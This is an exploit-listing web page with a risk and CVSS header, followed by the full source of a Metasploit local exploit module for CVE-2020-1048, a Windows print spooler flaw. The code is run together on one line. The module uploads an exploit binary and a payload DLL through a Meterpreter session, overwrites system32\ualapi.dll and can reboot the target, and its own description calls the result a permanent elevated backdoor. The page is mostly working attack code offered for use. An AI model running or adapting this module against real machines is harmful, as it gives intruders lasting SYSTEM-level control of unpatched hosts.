Microsoft Spooler Local Privilege Elevation

Credit: bwatters-r7
Risk: High
Local: Yes
Remote: No
CWE: CWE-269

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability', 'Description' => %q{ This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yarden Shafir', # Original discovery 'Alex Ionescu', # Original discovery 'shubham0d', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 04 2019', 'References' => [ ['CVE', '2020-1048'], ['URL', ''] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] ) ) register_options(['EXPLOIT_NAME', [true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),'PAYLOAD_NAME', [true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),'WRITABLE_DIR', [false, 'Path to write binaries (%TEMP% by default).', nil]),'OVERWRITE_DLL', [false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),'RESTART_TARGET', [true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),'EXECUTE_DELAY', [true, 'The number of seconds to delay between file upload and exploit launch', 3]) ]) end def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false) # Upload Exploit if target_arch == ARCH_X86 vprint_status('Using x86 binary') exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe') else vprint_status('Using x64 binary') exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe') end vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}") if file?(exploit_path) print_error("#{exploit_path} already exists") return false unless force_exploit end fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil? write_file(exploit_path, exploit_bin) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") # Run Exploit vprint_status('Running Exploit') begin output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}") rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end output end def exploit exploit_name = datastore['EXPLOIT_NAME'] vprint_status("exploit_name = #{exploit_name}") exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe') payload_name = datastore['PAYLOAD_NAME'] if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty? win_dir = session.sys.config.getenv('windir') overwrite_target = "#{win_dir}\\system32\\ualapi.dll" else overwrite_target = datastore['OVERWRITE_TARGET'] end temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP') payload_path = "#{temp_path}\\#{payload_name}" exploit_path = "#{temp_path}\\#{exploit_name}" payload_dll = generate_payload_dll # Check target vprint_status('Checking Target') validate_active_host validate_payload fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path) # Upload Payload vprint_status('Uploading Payload') ensure_clean_destination(payload_path) write_file(payload_path, payload_dll) print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") print_warning("This exploit requires manual cleanup of the payload #{payload_path}") vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit") sleep(datastore['EXECUTE_DELAY']) # Run the exploit output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture']) vprint_status("Exploit output:\n#{output}") sleep(1) # make sure exploit is finished vprint_status("Removing #{exploit_path}") session.fs.file.rm(exploit_path) # Reboot, if desired if datastore['RESTART_TARGET'] sleep(10) vprint_status("Rebooting #{sysinfo['Computer']}") reboot_command = 'shutdown /r' begin cmd_exec('cmd.exe', "/c #{reboot_command}") rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end end end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::BadConfig, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 return Exploit::CheckCode::Safe end def ensure_clean_destination(path) return unless file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog(e) print_error("Unable to delete #{path}") end end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top